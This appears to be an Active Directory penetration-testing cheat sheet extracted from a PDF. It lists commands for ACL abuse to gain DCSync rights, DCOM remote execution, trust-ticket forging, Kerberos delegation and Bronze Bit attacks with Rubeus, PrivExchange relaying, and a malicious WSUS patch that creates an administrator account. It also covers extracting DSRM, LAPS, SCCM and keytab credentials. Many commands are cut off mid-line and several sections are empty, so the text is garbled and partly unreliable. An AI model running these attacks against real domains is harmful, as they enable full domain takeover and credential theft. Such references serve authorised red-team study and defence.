To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is
possible to add any given account as a replication partner of the domain by applying the
following extended rights Replicating Directory Changes/Replicating Directory Changes All.
Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory
that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -
mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password
'Welcome01!'
WriteDACL on Domain:
On Windows:
On Linux:
WriteDACL on Group
Or
# Remove right
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAl
WriteOwner
An attacker can update the owner of the target object. Once the object owner has been changed
to a principal the attacker controls, the attacker may manipulate the object any way they see fit.
This can be achieved with Set-DomainObjectOwner (PowerView module).
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal
Or
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the
local admin group.
ReadLAPSPassword
An attacker can read the LAPS password of the computer account this ACE applies to. This can
be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found
in the Reading LAPS Password section.
ReadGMSAPassword
An attacker can read the GMSA password of the account this ACE applies to. This can be
achieved with the Active Directory and DSInternals PowerShell modules.
Or
ForceChangePassword
An attacker can change the password of the user this ACE applies to:
On Linux:
DCOM Exploitation
DCOM is an extension of COM (Component Object Model), which allows applications to
instantiate and access the properties and methods of COM objects on a remote computer.
Impacket DCOMExec.py
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-obje
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIB
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIB
CheeseTools - https://tinyurl.com/24oanh6m
# https://tinyurl.com/22y54zhr
-t, --target=VALUE Target Machine
-b, --binary=VALUE Binary: powershell.exe
-a, --args=VALUE Arguments: -enc <blah>
-m, --method=VALUE Methods: MMC20Application, ShellWindows,
ShellBrowserWindow, ExcelDDE, VisioAddonEx,
OutlookShellEx, ExcelXLL, VisioExecLine,
OfficeMacro
-r, --reg, --registry Enable registry manipulation
-h, -?, --help Show Help
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc
Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "cal
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
Invoke-MMC20RCE : https://tinyurl.com/249onjl6
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro thr
Invoke-Excel4DCOM64.ps1 https://tinyurl.com/2akvepcq
Invoke-ExShellcode.ps1 https://tinyurl.com/2axccuph
# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Applic
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")
# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp"
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1"
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1"
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,
One-way
Domain B trusts A
Users in Domain A can access resources in Domain B
Users in Domain B cannot access resources in Domain A
Two-way
Domain A trusts Domain B
Domain B trusts Domain A
Authentication requests can be passed between the two domains in both directions
nltest /trusted_domains
or
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustR
Most trees are linked with dual sided trust relationships to allow for sharing of resources. By
default the first domain created if the Forest Root.
Requirements:
KRBTGT Hash
Find the SID of the domain
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
# with Impacket
lookupsid.py domain/user:[email protected]
From the DC, dump the hash of the currentdomain\targetdomain$ trust account using
Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge
an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins
group to our SID history.
lsadump::trust /patch
Use the Trust Ticket file to get a ST for the targeted service
PAM (Privileged access managment) introduces bastion forest for management, Shadow
Security Principals (groups mapped to high priv groups of managed forests). These allow
management of other forests without making changes to groups or ACLs and without
interactive logon.
Requirements:
If we compromise the bastion we get Domain Admins privileges on the other domain
Compromise
Using the previously found Shadow Security Principal (WinRM account, RDP access,
SQL, ...)
Using SID History
Persistence
The user sends a ST to access the service, along with their TGT, and then the service can
use the user's TGT to request a ST for the user to any other service and impersonate the
user. - https://tinyurl.com/yaqrsrpz
:warning: Unconstrained delegation used to be the only option available in Windows 2000
Requirements:
Object with Property Trust this computer for delegation to any service (Kerberos only)
Must have ADS_UF_TRUSTED_FOR_DELEGATION
Must not have ADS_UF_NOT_DELEGATED flag
User must not be in the Protected Users group
User must not have the flag Account is sensitive and cannot be delegated
Find delegation
ADModule
# From https://tinyurl.com/2cw3ttv2
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
ldapdomaindump
CrackMapExec module
SpoolService status
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:[email protected]
Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in
the memory of the computer with unconstrained delegation. By default the domain controller
computer account has DCSync rights over the domain object.
# From https://tinyurl.com/2ayxk6t8
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
# From https://tinyurl.com/2759zpmk/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-N
# From https://tinyurl.com/295nuyu8#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME>
If the attack worked you should get a TGT of the domain controller.
Extract the base64 TGT from Rubeus output and load it to our current session.
Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets
Mitigation
# with a password
Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonat
# with a NT hash
Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:use
Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrat
dir \\dc.domain.com\c$
Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"
# Dump ticket
Rubeus.exe tgtdeleg /nowrap
Rubeus.exe triage
Rubeus.exe dump /luid:0x12d1f7
# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ti
# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /us
The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service
is allowed to delegate to another pre-defined service ("Service B"), then Service A can
present to the authentication service the TGS that the user provided and obtain a ST for the
user to Service B. https://tinyurl.com/yaqrsrpz
# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:B
# alternative
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicw
AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
LmZhY3RvcnkubGFu
Service For User To Self which allows a service to obtain a TGS on behalf of another user
Service For User To Proxy which allows a service to obtain a TGS on behalf of another user
on another service
The "Network Service" account and the AppPool identities can act as the computer account in
terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke
S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with
local admin rights, like DA) to yourself.
# The Rubeus execution will fail when trying the S4UProxy step, but the ticket gener
Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuse
# The service name is not included in the TGS ciphered data and can be modified at w
Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
Kerberos Bronze Bit Attack - CVE-2020-17049
An attacker can impersonate users which are not allowed to be delegated. This includes
members of the Protected Users group and any other users explicitly configured as
sensitive and cannot be delegated.
Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.
Requirements:
Attack #1 - Bypass the Trust this user for delegation to specified services only –
Use Kerberos only protection and impersonate a user who is protected from delegation.
# forwardable flag is only protected by the ticket encryption which uses the service
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM
# Access "c$"
ls \\service2.test.local\c$
# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from
Impacket).
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the
credentials of the current user to authenticate to the Exchange server. Forcing the Exchange
server's to send back its NTLMv2 hash to a controlled machine.
# https://tinyurl.com/2759zpmk/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_
# https://tinyurl.com/266z87m7
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get
another user's NTLM hash
5. Clean your mess and restore a previous state of the user's ACL
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
use auxiliary/scanner/http/exchange_web_server_pushsubscription
SCCM Deployment
Using SharpSCCM
MalSCCM.exe locate
Create a new device group for the machines you want to laterally move too
If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain
credentials.
.\SharpDPAPI.exe SCCM
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
SCCM Shares
Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB
shares
1njected/CMLoot
WSUS Deployment
:warning: The payload must be a Microsoft signed binary and must point to a location on disk for
the WSUS server to load that binary.
SharpWSUS
1. Locate using
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate or
SharpWSUS.exe locate
2. After WSUS Server compromise: SharpWSUS.exe inspect
3. Create a malicious patch: SharpWSUS.exe create
/payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d
cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup
administrators WSUSDemo /add\"" /title:"WSUSDemo"
4. Deploy it on the target: SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-
59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"
5. Check status deployment: SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-
59138ac0e127 /computername:bloredc2.blorebank.local
6. Clean up: SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127
/computername:bloredc2.blorebank.local /groupname:”Demo Group
RODCs are an alternative for Domain Controllers in less secure physical locations
using Impacket
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXX
Using Rubeus
PXE allows a workstation to boot from the network by retrieving an operating system image from
a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch
the image and interact with it.
Press [F8] during the PXE boot to spawn an administrator console on the deployed
machine.
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console,
then add a local administrator or dump SAM/SYSTEM registry.
DNS Reconnaissance
DSRM Credentials
Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server
domain controllers. DSRM allows an administrator to repair or recover to repair or restore an
Active Directory database.
This is the local administrator account inside each DC. Having admin privileges in this machine,
you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to
activate this password so you can remotely access to this local Administrator user.
When tickets are set to be stored as a file on disk, the standard format and type is a
CCACHE file. This is a simple binary file format to store Kerberos credentials. These files
are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with env | grep KRB5CCNAME . The format is
portable and the ticket can be reused by setting the environment variable with export
KRB5CCNAME=/tmp/ticket.ccache . Kerberos ticket name format is krb5cc_%{uid} where uid is
the user UID.
$ export KRB5CCNAME=/tmp/krb5cc_1569901115
Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database
and decrypt the secrets.
The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that
can be passed to Mimikatz/Rubeus.
The service keys used by services that run as root are usually stored in the keytab file
/etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept
secure.
Use klist to read the keytab file and parse its content. The key that you see when the key
type is 23 is the actual NT Hash of the user.
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
[...]
On Linux you can use KeyTabExtract : we want RC4 HMAC hash to reuse the NLTM hash.
Connect to the machine using the account and the hash with CME.
sss_obfuscate converts a given password into human-unreadable format and places it into
appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf